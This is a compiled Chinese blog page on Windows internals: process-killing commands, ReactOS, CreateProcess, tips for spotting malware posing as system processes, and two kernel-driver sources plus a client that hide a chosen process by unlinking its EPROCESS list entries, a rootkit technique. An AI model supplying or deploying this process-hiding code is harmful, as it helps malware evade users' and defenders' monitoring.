/SERVER:servername 含有 processID 的服务器(默认值是当前值)。 
使用进程名和 /SERVER 时,必须指定 
/ID 或 /A 
/ID:sessionid 结束在指定会话下运行的进程。 
/A 结束在所有会话下运行的进程。 
/V 显示正在执行的操作的信息。 
这个Tskill用法很简单,直接输入Tskill 图象名或PID就可以了。 


偶尔碰上Tskill无法结束的进程,还可以试试Ntsd命令, 
格式为: ntsd -c q -pn {进程名} 
参数含义: 
-c是表示执行debug命令; 
q表示执行结束后退出; 
-p 表示后面紧跟着是你要结束的进程对应的PID; 
-pn 表示后面紧跟着是你要结束的进程名;
----------------------------------------------
1、根据端口查找进程、杀死进程: netstat -ano | find "8080"
C:\Documents and Settings\keju.wangkj>netstat -ano | find "8080" 
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       5796 
 
C:\Documents and Settings\keju.wangkj>tskill 5796 

windows自带终止进程的超强命令


问:怎么才能关掉一个用任务管理器关不了的进程?我前段时间发现我的机子里多了一个进程,只要开机就在,我用任务管理器却怎么关也关不了
答1:杀进程很容易,随便找个工具都行。比如IceSword。关键是找到这个进程的启动方式,不然下次重启它又出来了。顺便教大家一招狠的。其实用Windows自带的工具就能杀大部分进程:
  c:>ntsd -c q -p PID
   只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。ntsd从 2000开始就是系统自带的用户态调试工具。被调试器附着(attach)的进程会随调试器一起退出,所以可以用来在命令行下终止进程。使用ntsd自动 就获得了debug权限,从而能杀掉大部分的进程。ntsd会新开一个调试窗口,本来在纯命令行下无法控制,但如果只是简单的命令,比如退出(q),用- c参数从命令行传递就行了。NtsdNtsd 按照惯例也向软件开发人员提供。只有系统开发人员使用此命令。有关详细信息,请参阅 NTSD 中所附的帮助文件。用法:开个cmd.exe窗口,输入:
  ntsd -c q -p PID
  把最后那个PID,改成你要终止的进程的ID。如果你不知道进程的ID,任务管理器->进程选项卡->查看->选择列->勾上"PID(进程标识符)",然后就能看见了。
答2:xp下还有两个好东东tasklist和tskill。tasklist能列出所有的进程,和相应的信息。tskill能查杀进程,语法很简单:tskill 程序名!!

================


十一 ReactOS



ReactOS是开源免费的Windows NT系列(含NT4.0/2000/XP/2003)克隆操作系统,保持了与Windows的系统级


兼容性。


ReactOS 旨在实现和NT与XP操作系统二进制下的完全应用程序和驱动设备的兼容性,通过使用类似构架和


提供完全公共接口。
根据专利法,目前模拟DOS和WINDOWS2.0是合法的,除了微软在1990年以后注册的专利.
2020年,本系统有可能不违反专利法
自由软件倡导者认同自由软件操作系统现状的改善促进了竞争,ReactOS也同样获益匪浅ReactOS是最完整


的类 Windows&reg;操作系统的工作平台, 因此,参与开发的程序员需要花费许多精力去学习ReactOS源


码 和研究ReactOS开发文档。
ReactOS组件也越来越多,兼容性也越来越好,但 ReactOS 不会有任何束缚。 ReactOS已经并将继续吸收


最新版本的Win32 API,跟踪甚至发展最新的操作系统技术 。尽我们所能,使用最新的技术,并不断的融


合新的特点到最新版本。
简单地说,ReactOS目标就是用您的硬件设备去运行您的应用程序,最后,诞生一个任何人都可以免费使


用的 FOSS 操作系统。
ReactOS仍在 alpha 试验阶段,不推荐日常工作使用


================

十二 内核编程 - 进程相关

<一> Windows内核之进程基本含义以及进程的创建


原文  http://blog.csdn.net/ddupd/article/details/26633849

进程

1 进程的含义:

1.1   一个是操作系统用来管理进程的内核对象。内核对象也是系统用来存放关于进程的统计信息的地方。

1.2   另一个是地址空间,它包含所有可执行模块或DL L 模块的代码和数据。它还包含动态内存分配的空间。如线程堆栈和堆分配空间。

2 操作系统启动应用程序的步骤

2.1 调用C/c++运行时的启动函数

         启动函数总共4种,WinMainCRTStartup,wWinMainCRTStartup,mainCRTStartup,wmainCRTStartup。

         启动函数完成如下任务:

<1>检索指向新进程的完整命令行的指针

<2>检索指向新进程的环境变量的指针

<3>对C/ C + +运行期的全局变量进行初始化。如果包含了S t d L i b . h 文件,代码就能访问这些变量

<4>对C运行期内存单元分配函数(m a l l o c 和c a l l o c )和其他低层输入/输出例程使用的内存栈进行初始化。

<5>为所有全局和静态C+ +类对象调用构造函数。

<6>调用入口点函数

如:int nMainRetVal = wmain(__argc, __wargv, _wenviron);
<7>当进入点函数返回时,启动函数便调用C 运行期的ex i t 函数,将返回值(nMainRetVal )传递给它。

<8>调用由_onexit函数的调用而注册的任何函数

<9>为所有全局的和静态的C++类对象调用析构函数

<10>调用操作系统的ExitProcess函数,将nMainRetVal传递给它。这使得该操作系统能够撤消进程并设置它的e x i t 代码

3 进程的实例句柄

3.1 进程的当前实例句柄

         加载到进程地址空间的每个exe或者dll文件都会被赋予一个独一无二的句柄。

获取加载的模块(exe,dll)的方法:

GetModuleFileName(HMOUDLEhModule,LPTSTR lpFileName,DWROD nSize);

当hModule的值为NULL 的时候,会返回当前调用模块的全部路径名字。

3.2 进程的前一个实例句柄

         C++代码总是将NULL赋值给WinMain函数的第二个参数HINSTANCEhPreInstance,这样的原因是在16位的程序中对这个参数有保留使用,那么保留它就方便转用16位程序。

4 进程的命令行

LPTSTR GetCommandLine();获取命令行字符串

5  进程的环境变量

         每个进程都有一个与它相关的环境变量块,环境块是进程的地址空间中分配的一个内存块。每个环境块都包含一组字符串,形式如下所示:

VarName1=VarValue1\0

VarName2=VarValue2\0

VarName3=VarValue3\0

         其中要注意变脸等号前有没有空格,有空格和没空格代表的是完全不同的环境变量,如:

XYZ=xxx;和XYZ =xxx;这就是两个完全不同的环境变量了。

         操作华景变量相关的 函数

<1>

LPVOIDGetEnvironmentStrings(VOID);
<2>

BOOL SetEnvironmentVariable(
 LPCTSTR lpName,  // environment variable name
 LPCTSTR lpValue  // new value for variable);
<3>

DWORD GetEnvironmentVariable(  LPCTSTR lpName,  // environment variable name
 LPTSTR lpBuffer, // buffer for variable value
 DWORD nSize      // size ofbuffer);
<4>

BOOL FreeEnvironmentStrings(LPTSTRlpszEnvironmentBlock  // environmentstrings);
6 进程的当前目录

         程序的当前目录是可以进行改变的,当前目录和进程的启动目录是不同的,启动目录就是exe或者dll被调用的目录,我们可以通过GetModuleFineName函数进行处理。

<1>

DWORD GetCurrentDirectory(
 DWORD nBufferLength,    //size of directory buffer
 LPTSTR lpBuffer            //directory buffer);
<2>

BOOL SetCurrentDirectory(  LPCTSTR lpPathName   // new directory name);
7 系统的版本信息获得

GetVersion()

但是这个函数有bug,就是程序员把主版本号,次版本号放错了高低字节。

BOOL GetVersionEx(  LPOSVERSIONINFO lpVersionInfo // versioninformation);

这个是新的修正过来的。

8 创建进程

BOOL WINAPI CreateProcess(
  _In_opt_     LPCTSTR lpApplicationName,
  _Inout_opt_   LPTSTR lpCommandLine,
  _In_opt_     LPSECURITY_ATTRIBUTES lpProcessAttributes,
  _In_opt_     LPSECURITY_ATTRIBUTES lpThreadAttributes,
  _In_         BOOL bInheritHandles,
  _In_         DWORD dwCreationFlags,
  _In_opt_     LPVOID lpEnvironment,
  _In_opt_     LPCTSTR lpCurrentDirectory,
  _In_         LPSTARTUPINFO lpStartupInfo,
  _Out_        LPPROCESS_INFORMATION lpProcessInformation
);
参数解释:

<1> lpApplicationName

         被加载模块的名字,必须制定模块的格式,比如exe,因为系统不会默认为exe,模块的名字可以是部门名字,那么系统就会在当前目录去寻找该模块。

         通常将其设置为NULL,因为lpCommandLine具有比它更加强大的功能来完成模块的调用。

<2> lpCommandLine

         系统寻找可执行文件exe的顺序是:

应用程序加载的目录;

父进程的当前目录;

Windows System 目录;

Windows目录;

环境变量列出的目录;

注意:当字符集是Unicode时候,参数类型不能是const类型的,若是就会报错。

<3> lpProcessAttributes  

       指向  SECURITY_ATTRIBUTES 的指针,决定进程创建函数返回的的新进程对象的句柄是否能被子进程继承。

         当为NULL的时候,获取的是默认安全描述符

<4> lpThreadAttributes

       指向 SECURITY_ATTRIBUTES  的指针,决定进程创建函数范湖的新线程对象的句柄是否能被子进程继承。

         当为NULL的时候,获取的是默认安全描述符。

<5> bInheritHandles  

       如果为True,那么任何可以被继承的句柄都会别新创建的进程所继承。如果为FALSE,那么则不会被新进程继承。

<6> dwCreationFlags  

       新创建的进程的创建标志位设置,决定是父子进程调试信息的反馈,子进程窗口的产生等行为。

<7> lpEnvironment  

新进程中指向的环境块。如果该值为NULL,那么就表示新进程继承了父进程的环境块。

<8> lpCurrentDirectory  

指向新进程的当前目录的指针。如果为NULL,那么则就和调用进程(父进程)具有相同的当前目录。

<9> lpStartupInfo

       指向   STARTUPINFO   or  STARTUPINFOEX 的指针。主要指定窗口的状态,外观,标准句柄。当Wi n d o w s 创建新进程时,它将使用该结构的有关成员。大多数应用程序将要求生成的应用程序仅仅使用默认值。至少应该将该结构中的所有成员初始化为零,然后将cb 成员设置为该结构的大小。

       当里面创建的句柄不在是用的使用,要通过CloseHandle来关闭。

<10> lpProcessInformation  

指向 PROCESS_INFORMATION 结构体的指针。

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
里面是用的句柄不在使用的时候,要通过CloseHandle函数来关闭。

       当进程内核对象创建后,系统赋予该对象一个独一无二的标识号,系统中的其他任何进程内核对象都不能使用这个相同的ID号。线程内核对象的情况也一样。当一个线程内核对象创建时,该对象被赋予一个独一无二的、系统范围的ID号。进程ID和线程ID共享相同的号码池。这意味着进程和线程不可能拥有相同的ID 。 

9 创建进程的实例:

#include <Windows.h>
#include <iostream>
using namespace std;

void main()
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;

  ZeroMemory( &si, sizeof(si) );
  si.cb = sizeof(si);
  ZeroMemory( &pi, sizeof(pi) );

  // Start the child process. 
  if( !CreateProcess( NULL, // No module name (use command line). 
    TEXT("Notepad++"), // Command line. 
    NULL, // Process handle not inheritable. 
    NULL, // Thread handle not inheritable. 
    FALSE, // Set handle inheritance to FALSE. 
    0, // No creation flags. 
    NULL, // Use parent's environment block. 
    NULL, // Use parent's starting directory. 
    &si,  // Pointer to STARTUPINFO structure.
    &pi ) // Pointer to PROCESS_INFORMATION structure.
  ) 
  {
    cout<<TEXT("CreateProcess failed.");
  }

  // Wait until child process exits.
  WaitForSingleObject( pi.hProcess, INFINITE );

  // Close process and thread handles. 
  CloseHandle( pi.hProcess );
  CloseHandle( pi.hThread );
}

========

<二> 在windows内核模式下隐藏进程


进程隐藏之内核实现

1、在内核模式下,系统为每个进程维护了一个EPROCESS结构体,系统所有的进程是通过EPROCESS结构体中的一个ActiveProcessLinks指向的双端链表连接起来的,通过winDBG内核调试工具就可以发现并获取其相对于EPROCESS结构体的地址(0x88),这样我们可以通过遍历该循环链表找到我们的目的进程将其链表的节点删除即可隐藏该进程。(EPROCESS中进程PID相对地址为ox84,进程名字相对地址为0x174)。

代码如下:

/**************************** 
   在内核模式下隐藏进程 
****************************/  
 #include <NTDDK.h>  
#define DWORD ULONG  
  
void DriverUnload(IN PDRIVER_OBJECT Driver_Object);  
NTSTATUS HelloDDKDispatchRoutine(IN PDEVICE_OBJECT pDevObj,  
                                 IN PIRP pIrp);  
  
//根据进程Pid找到进程  
DWORD FindProcessEPROCESS(PANSI_STRING PsName, OUT int* flg);  
  
ANSI_STRING Process_Name;  
  
NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver_Object,  
                     IN PUNICODE_STRING RegisterPath)  
{  
      
    PLIST_ENTRY  pre_ActiveProcessLink;  
    int flg = 0;  
    DWORD preprocess = 0x00000000;  
    CHAR *string1 = "notepad.exe";  
      
    Driver_Object->MajorFunction[IRP_MJ_CREATE] = HelloDDKDispatchRoutine;  
    Driver_Object->MajorFunction[IRP_MJ_CLOSE]  = HelloDDKDispatchRoutine;  
    Driver_Object->DriverUnload = DriverUnload;  
      
    //找到我们要保护的进程的前一个的EPROCESS  
      
    RtlInitAnsiString(&Process_Name,string1);    
  
    preprocess = FindProcessEPROCESS(&Process_Name,&flg);    
      
    //根据进程的ActiveProcessLink删除掉我们的目的进程的ActiveProcessLink的连表节点  
    if(flg)  
    {  
        pre_ActiveProcessLink = (PLIST_ENTRY)(preprocess);  
        pre_ActiveProcessLink->Flink = pre_ActiveProcessLink->Flink->Flink;  
        pre_ActiveProcessLink->Flink->Blink = pre_ActiveProcessLink;  
        KdPrint(("Delete Success!\n"));  
    }  
    else  
    {  
        KdPrint(("notepad.exe dos'nt exist!\n"));  
    }  
      
    return STATUS_SUCCESS;  
}  
  
  
DWORD FindProcessEPROCESS(PANSI_STRING PsName, OUT int* flg)  
{  
    ANSI_STRING CurName;  
    PLIST_ENTRY   cut_ActiveProcessLink = 0x00000000;  
    DWORD CUR_EPROCESS = 0x00000000;  
    DWORD curent_id = 0;//记录当前id  
    DWORD start_id =0;  
    int count = 0;//记录id总数  
    CUR_EPROCESS = (DWORD)PsGetCurrentProcess();  
    curent_id = *((DWORD*)(CUR_EPROCESS + 0x84));  
    start_id = curent_id;  
  
    RtlInitAnsiString(&CurName,(char*)CUR_EPROCESS + 0x174);  
    cut_ActiveProcessLink = (PLIST_ENTRY)(CUR_EPROCESS + 0x88);  
    //如果相同  
    if(!RtlCompareString(PsName, &CurName,FALSE))  
    {  
        *flg = 1;  
        return ((DWORD)(cut_ActiveProcessLink->Blink));  
    }  
    //接着遍历  
    while(1)  
    {  
        count++;  
        cut_ActiveProcessLink = cut_ActiveProcessLink->Flink;  
        RtlInitAnsiString(&CurName,(char*)cut_ActiveProcessLink - 0x88 + 0x174);  
  
        curent_id = *((DWORD*)((DWORD)cut_ActiveProcessLink - 0x88 + 0x84));  
        if(!RtlCompareString(PsName,&CurName,FALSE))  
        {  
            *flg = 1;  
            return ((DWORD)(cut_ActiveProcessLink->Blink));  
        }  
        else if (count>=1&&(start_id == curent_id))  
        {  
            KdPrint(("没有找到!\n"));  
            return 0x00000000;  
        }  
    }  
}  
  
//默认的例程  
  
NTSTATUS HelloDDKDispatchRoutine(IN PDEVICE_OBJECT pDevObj,  
                                 IN PIRP pIrp)  
{  
    NTSTATUS status = STATUS_SUCCESS;  
    KdPrint(("Enter HelloDDKDispatchRoutine\n"));  
    // 完成IRP  
    pIrp->IoStatus.Status = status;  
    IoCompleteRequest(pIrp, IO_NO_INCREMENT );  
    KdPrint(("Leave HelloDDKDispatchRoutine\n"));  
    return status;  
}  
  
//设置卸载例程  
void 

推荐:Windows内核符号表学习总结

内核符号表 http://blog.csdn.net/vbsourcecode/article/details/8555796 在进行Windows Driver开发调试中,内核符号表是个问题。由于网络不稳定,利用windbg下

========

<三> Win7内核隐藏进程


写了个WIN7隐藏驱动程序,主要包括驱动程序和应用程序。
开发环境:win7+VS2012+WDK8.0
其他操作系统不支持


//驱动程序:
//*********************************
//blog:http://blog.csdn.net/fsjaky
//*********************************
#include <ntddk.h>


typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;


#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_WRITE_ACCESS)


//偏移量
//win7
#define PIDOFFSET 0Xb4 //EPROCESS中UniqueProcessId偏移
#define FLINKOFFSET 0xb8 //EPROCESS中ActiveProcessLinks偏移
#define ObjectTable 0xf4 //EPROCESS中ObjectTable偏移


#define TableList 0x10 //ObjectTable中HandleTableList偏移
#define PIDOFFSET2 0x008 //ObjectTable中UniqueProcessId偏移
#define QuotaProcess 0x004 //ObjectTable中QuotaProcess偏移


PDEVICE_OBJECT g_Device = NULL; 
const WCHAR LinkName[] = L"\\DosDevices\\MyHideProcess";
const WCHAR DriverName[] = L"\\Device\\MyHideProcess";
#define DebugPrint DbgPrint 


DWORD g_Eprocess = 0x00000000; //
PLIST_ENTRY g_HandleList = NULL;
DWORD FindProcessInEPROCESS (int Hide_PID);
VOID FindProcessInHandleTable (DWORD eproc,int Hide_PID);


NTSTATUS MyDispatch(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS MyUnload(IN PDRIVER_OBJECT);


NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{


NTSTATUS ntStatus;
UNICODE_STRING DriverNameUnicodeString;
UNICODE_STRING DriverLinkUnicodeString; 
DbgPrint ("DriverEntry\n");
RtlInitUnicodeString (&DriverNameUnicodeString, DriverName );
RtlInitUnicodeString (&DriverLinkUnicodeString, LinkName );


//创建设备
ntStatus = IoCreateDevice ( DriverObject, 0, // For driver extension
&DriverNameUnicodeString, FILE_DEVICE_UNKNOWN,
0,TRUE, &g_Device );
if( !NT_SUCCESS(ntStatus))
{
DebugPrint(("Failed to CreateDevice!\n"));
return ntStatus;
}
//创建符号链接
ntStatus = IoCreateSymbolicLink (&DriverLinkUnicodeString, &DriverNameUnicodeString );
if( !NT_SUCCESS(ntStatus))
{
DebugPrint(("Failed to CreateSymbolicLink!\n"));
return ntStatus;
}


DriverObject->MajorFunction[IRP_MJ_CREATE] = MyDispatch;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = MyDispatch;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyDispatch;
DriverObject->DriverUnload = MyUnload;
DbgPrint ("DriverEntry leave\n");
return STATUS_SUCCESS;
}


NTSTATUS MyUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING deviceLinkUnicodeString;
PDEVICE_OBJECT p_NextObj;
DbgPrint ("Start MyUnload\n");
p_NextObj = DriverObject->DeviceObject;
if (p_NextObj == NULL)
{


DbgPrint ("MyUnload Error\n");
return STATUS_SUCCESS;
}

else
{
RtlInitUnicodeString( &deviceLinkUnicodeString, LinkName );
IoDeleteSymbolicLink( &deviceLinkUnicodeString );
IoDeleteDevice( DriverObject->DeviceObject );
}
DbgPrint ("End MyUnload\n");
return STATUS_SUCCESS;
}
NTSTATUS MyDispatch(
IN PDEVICE_OBJECT DeviceObject, 
IN PIRP Irp 
)
{
NTSTATUS nStatus = STATUS_SUCCESS;
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpStack = NULL;
long* inBuf = NULL;
char* outBuf = NULL;
ULONG inSize = 0;
ULONG outSize = 0;
PCHAR buffer = NULL;
NTSTATUS ntstatus = STATUS_SUCCESS;
int find_PID = 0;
DWORD eproc = 0x00000000;
DWORD start_eproc= 0x00000000;
PLIST_ENTRY plist_active_procs = NULL;


DbgPrint ("Start MyDispatch\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

IrpStack = IoGetCurrentIrpStackLocation (Irp);
switch (IrpStack->MajorFunction) {
case IRP_MJ_CREATE:
break;

case IRP_MJ_SHUTDOWN:
break;

case IRP_MJ_CLOSE:
break;

case IRP_MJ_DEVICE_CONTROL:
IoControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;
switch ( IoControlCode ) 
{
case IOCTL_HIDE_PROCESS:
inSize = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
outSize = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;
inBuf = (long*)Irp->AssociatedIrp.SystemBuffer;

if ((inSize < sizeof(DWORD)) || (inBuf == NULL))
{
DbgPrint("inBuf Error\n");
ntstatus = STATUS_INVALID_BUFFER_SIZE;
break;
}

find_PID = *((DWORD *)inBuf); //获得应用程序输入的PID
DbgPrint("The Input PID is :%d\r\n",find_PID);
eproc = FindProcessInEPROCESS(find_PID );// 在EPROCESS结构中找到这个进程
plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
*((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
*((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;

//修改HandleList
// HandleTableList
FindProcessInHandleTable(eproc,find_PID );// 在HandleTableList中找到这个进程
*((DWORD *)g_HandleList->Blink) = (DWORD) g_HandleList->Flink;
*((DWORD *)g_HandleList->Flink+1) = (DWORD) g_HandleList->Blink;
break;
default:
break;
}
}
ntstatus = Irp->IoStatus.Status;
IoCompleteRequest( Irp, IO_NO_INCREMENT );
DbgPrint ("End MyDispatch\n");
return ntstatus; 
}

DWORD FindProcessInEPROCESS (int Hide_PID)
{
DWORD eproc = 0x00000000; 
int current_PID = 0;
int start_PID = 0; 
int count = 0;
PLIST_ENTRY plist_active_procs;

DbgPrint ("Start FindProcessInEPROCESS\n");
if (Hide_PID == 0)
return Hide_PID;

//遍历ActiveList
eproc = (DWORD) PsGetCurrentProcess();
start_PID = *((DWORD*)(eproc+PIDOFFSET));
current_PID = start_PID;
DbgPrint("Start Search In ActiveList\n");
while(1)
{
if(Hide_PID == current_PID)
{
g_Eprocess = eproc;
DbgPrint("EPROCESS is %ld\n",g_Eprocess);
return eproc;
}
else if((count >= 1) && (start_PID == current_PID))
{
return 0x00000000;
}
else {
plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
eproc = (DWORD) plist_active_procs->Flink;
eproc = eproc - FLINKOFFSET;
current_PID = *((int *)(eproc+PIDOFFSET));
count ++;
}
}
DbgPrint("End Search In ActiveList\n");
}

VOID FindProcessInHandleTable (DWORD eproc,int Hide_PID)
{
PLIST_ENTRY HandleTableList=NULL;
PLIST_ENTRY start_list = NULL;
int handle_PID = 0;
//遍历HanldeTable
DbgPrint("Start Search In HanldeTable\n");

HandleTableList=(PLIST_ENTRY)(*(PULONG)((ULONG)eproc+ObjectTable)+TableList);
start_list = HandleTableList;
do {
handle_PID = *(PULONG)(*(PULONG)((ULONG)eproc+ObjectTable)+PIDOFFSET2);
if(Hide_PID == handle_PID)
{
g_HandleList = HandleTableList;
break ;
}
HandleTableList = HandleTableList->Flink;
} while(start_list != HandleTableList);
DbgPrint("End Search In HanldeTable\n");
}

//应用程序
//*********************************
//fsjaky
//blog:http://blog.csdn.net/fsjaky
//*********************************
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<winioctl.h>

#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_WRITE_ACCESS)

int main()
{
long pid = 0;
DWORD ReBytes = 0;
HANDLE hDevice;
hDevice = CreateFile("\\\\.\\MyHideProcess",
GENERIC_READ|GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hDevice == NULL)
{
printf("CreateFile Error %d\n",GetLastError());
}

printf("Please Input a PID to Hiden:");
scanf("%ld",&pid);
DeviceIoControl(hDevice,
IOCTL_HIDE_PROCESS,
&pid,
sizeof(long),
NULL,
0,
&ReBytes,
NULL);
CloseHandle(hDevice);
system("pause");
return 0;
}

我表示.我没看是win7上的。 在XP上。直接卡死。。关都关不掉。。重启ing......
这个东东r3下就可以枚举
比如枚举csrss句柄表
openprocess 从1到10万一个个打开……

xp的EPROCESS结构的地址和win7x86的不一样,所以蓝屏了,改地址就行了,x64还是蓝屏不知何故,求大神解释??

通过PID得到PEPROCESS不用去遍历ActiveProcessLinks,直接使用这个内核API即可:

NTSTATUS PsLookupProcessByProcessId(
_In_ HANDLE ProcessId,
_Out_ PEPROCESS *Process
);

win7 64位 没有效果 请问有没有什么方法可以在win7 64位系统中隐藏进程?
64位的原理和32位一样,只是64位系统里面的EPROCESS 肯定和X86下不一样,用64位的windbg进行内核调试,然后直接看dt _EPROCESS 或 dt _KPROCESS 自己去找对应的偏移就行了。

========

十三 内核应用 - 手动杀毒

<一> 如何通过系统进程分析病毒

  现在好多朋友都依赖杀毒软件搞定电脑上的病毒。其实常见的几种病毒喜欢假扮系统文件,不管怎么样,如果发现电脑出现异常先查看你的进程有没有出现问题,。我们完全可以通过查看系统进程,分析并发现病毒。


  现在随着Windows系统服务不断增多,为了节省系统资源,微软把很多服务做成共享方式,交由svchost.exe进程来启动。我们一定要认识进程里面病毒常用的、迷惑大家的一些进程程序,做到有所防,也要有所知才行,下面举的几个小例子也是常见的几种病毒喜欢的系统文件。

svchost.exe简介

  我们可以打开“控制面板”→“管理工具”→服务,双击其中“ClipBook”服务,在其属性面板中可以发现对应的可执行文件路径为“C:\WINDOWS\system32\clipsrv.exe”。再双击“Alerter”服务,可以发现其可执行文件路径为“C:\WINDOWS\system32\svchost.exe -k LocalService”,而“Server”服务的可执行文件路径为“C:\WINDOWS\system32\svchost.exe -k netsvcs”。正是通过这种调用,可以省下不少系统资源,因此系统中出现多个svchost.exe,其实只是系统的服务而已。

  在Windows2000系统中一般存在2个svchost.exe进程,一个是RPCSS(RemoteProcedureCall) 服务进程,另外一个则是由很多服务共享的一个svchost.exe;而在WindowsXP中,则一般有4个以上的svchost.exe服务进程。如果svchost.exe进程的数量多于5个,就要小心了,很可能是病毒假冒的,检测方法也很简单,使用一些进程管理工具,例如Windows优化大师的进程管理功能,查看svchost.exe的可执行文件路径,如果在“C:\WINDOWS\system32”目录外,那么就可以判定是病毒了。
    常被病毒冒充的进程名有:svch0st.exe、schvost.exe、scvhost.exe

explorer.exe

  常被病毒冒充的进程名有:iexplorer.exe、expiorer.exe、explore.exe。explorer.exe就是我们经常会用到的“资源管理器”。如果在“任务管理器”中将explorer.exe进程结束,那么包括任务栏、桌面、以及打开的文件都会统统消失,单击“任务管理器”→“文件”→“新建任务”,输入“explorer.exe”后,消失的东西又重新回来了。explorer.exe进程的作用就是让我们管理计算机中的资源。

  explorer.exe进程默认是和系统一起启动的,其对应可执行文件的路径为“C:\Windows”目录,除此之外则为病毒。

iexplore.exe

  常被病毒冒充的进程名有:iexplorer.exe、iexploer.exei、explorer.exe进程和上文中的explorer.exe进程名很相像,因此比较容易搞混,其实iexplorer.exe是Microsoft Internet Explorer所产生的进程,也就是我们平时使用的IE浏览器。知道作用后辨认起来应该就比较容易了,iexplorer.exe进程名的开头为“ie”,就是IE浏览器的意思。

  iexplore.exe进程对应的可执行程序位于C:\ProgramFiles\InternetExplorer目录中,存在于其他目录则为病毒,除非你将该文件夹进行了转移。此外,有时我们会发现没有打开IE浏览器的情况下,系统中仍然存在iexplore.exe进程,这要分两种情况:1. 病毒假冒iexplore.exe进程名。2.病毒偷偷在后台通过iexplore.exe干坏事。因此出现这种情况还是赶快用杀毒软件进行查杀吧。


rundll32.exe

  常被病毒冒充的进程名有:rundl132.exe、rundl32.exe。rundll32.exe在系统中的作用是执行DLL文件中的内部函数,系统中存在多少个Rundll32.exe进程,就表示Rundll32.exe启动了多少个的DLL文件。其实rundll32.exe我们是会经常用到的,他可以控制系统中的一些dll文件,举个例子,在“命令提示符”中输入“rundll32.exe user32.dll,LockWorkStation”,回车后,系统就会快速切换到登录界面了。rundll32.exe的路径为 “C:\Windows\system32”,在别的目录则可以判定是病毒。

如何通过系统进程分析病毒

spoolsv.exe

  常被病毒冒充的进程名有:spoo1sv.exe、spolsv.exe。spoolsv.exe是系统服务“Print Spooler”所对应的可执行程序,其作用是管理所有本地和网络打印队列及控制所有打印工作。如果此服务被停用,计算机上的打印将不可用,同时 spoolsv.exe进程也会从计算机上消失。如果你不存在打印机设备,那么就把这项服务关闭吧,可以节省系统资源。停止并关闭服务后,如果系统中还存在spoolsv.exe进程,这就一定是病毒伪装的了。


========



推荐:Windows内核模式Playloads

Windows内核模式Playloads 前言 (注:Payload 在病毒中实现一些有害或者恶性动作的功能部分就叫payload) 如果按照作者的意思完全的翻译一篇文章真TMD累,翻译到

一 Windows 的体系结构 分析环境reactos0.3.1 ,i386体系] 了解了windows的体系结构才知道reactos到底要干什么,以及如何干,因为reactos的目标是兼容windows。 下面是windows的体系结构: 这是

相关阅读排行


相关内容推荐

最新文章

×

×

请激活账号

为了能正常使用评论、编辑功能及以后陆续为用户提供的其他产品,请激活账号。

您的注册邮箱: 修改

重新发送激活邮件 进入我的邮箱

如果您没有收到激活邮件,请注意检查垃圾箱。